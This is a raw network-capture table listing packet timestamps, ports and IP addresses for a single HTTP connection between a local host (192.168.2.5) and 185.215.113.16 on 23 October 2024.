Oct 23, 2024 15:48:22.413105965 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413110018 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413120031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413136005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413145065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413150072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413165092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413175106 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413180113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413194895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413198948 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413212061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413227081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413234949 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413244963 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413260937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413275003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413280964 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413292885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413306952 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413307905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413324118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413331032 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413338900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413353920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413357973 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413369894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413383961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413394928 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413398027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413419008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413424969 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413438082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413451910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413466930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413474083 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413482904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413499117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413501978 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413513899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413518906 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413532019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413546085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413559914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413563967 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413573980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413589001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413589001 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413605928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413615942 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413623095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413639069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413640976 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413654089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413670063 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413677931 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413687944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413703918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.413722992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.413744926 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.516134977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516187906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516228914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516242027 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.516398907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516429901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516468048 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.516482115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516516924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516525030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.516551971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516585112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516602039 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.516618967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516669035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516697884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516705036 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.516742945 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.516747952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516782045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516813993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516820908 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.516846895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516875029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516885042 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.516908884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516942024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.516977072 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.516988993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517025948 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.517041922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517070055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517117977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517152071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517154932 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.517184019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517189026 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.517218113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517266035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517301083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517312050 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.517334938 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.517335892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517414093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517461061 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.517483950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517534971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517569065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517577887 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.517599106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517637968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517663956 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.517688990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517736912 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.517740011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517774105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517802000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517819881 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.517851114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517904997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517936945 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517939091 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.517971039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.517973900 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518004894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518038034 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518053055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518085957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518131971 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518135071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518168926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518201113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518207073 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518233061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518266916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518287897 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518295050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518383026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518392086 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518433094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518481016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518520117 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518563986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518598080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518635988 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518649101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518686056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518712997 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518737078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518769979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518780947 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518804073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518836975 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518841982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518871069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518903971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518923044 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518938065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.518975019 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.518985987 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519035101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519067049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519092083 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519099951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519134045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519136906 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519166946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519200087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519208908 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519233942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519267082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519300938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519309998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519352913 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519377947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519409895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519443035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519476891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519480944 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519509077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519531965 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519560099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519601107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519610882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519686937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519731998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519736052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519771099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519798994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519809961 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519831896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519865036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519881010 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519896984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519929886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519963026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.519965887 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.519996881 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520018101 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520047903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520082951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520114899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520129919 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520148039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520159006 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520195961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520230055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520257950 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520262003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520296097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520299911 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520329952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520364046 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520385981 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520395994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520428896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520462036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520468950 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520494938 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520497084 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520529985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520564079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520577908 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520613909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520648003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520651102 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520680904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520761967 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520762920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520797014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520831108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520853043 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520881891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520925045 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.520931959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.520967960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521004915 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521018028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521050930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521084070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521102905 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521116972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521148920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521162987 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521183968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521217108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521244049 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521245956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521279097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521280050 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521317005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521349907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521354914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521383047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521415949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521418095 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521450043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521497011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521507025 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521529913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521562099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521567106 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521595001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521644115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521680117 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521692991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521725893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521763086 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521811008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521846056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521877050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521883011 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521904945 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521910906 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.521939993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521971941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.521986008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522006035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522039890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522046089 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522074938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522108078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522110939 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522140980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522181988 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522188902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522222042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522270918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522285938 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522309065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522342920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522353888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522376060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522409916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522411108 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522443056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522475958 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522480965 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522510052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522542953 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522555113 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522576094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522609949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522618055 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522643089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522675991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522684097 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522708893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522742033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522753954 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522775888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522809029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522811890 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522852898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522875071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522888899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522903919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522907019 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522917986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522933006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522933960 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522948980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522952080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522965908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.522984028 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.522989035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.523005009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.523020983 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.523021936 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:22.523036003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.523051023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.523065090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:22.523067951 CEST	49713	80	192.168.2.5	185.215.113.16
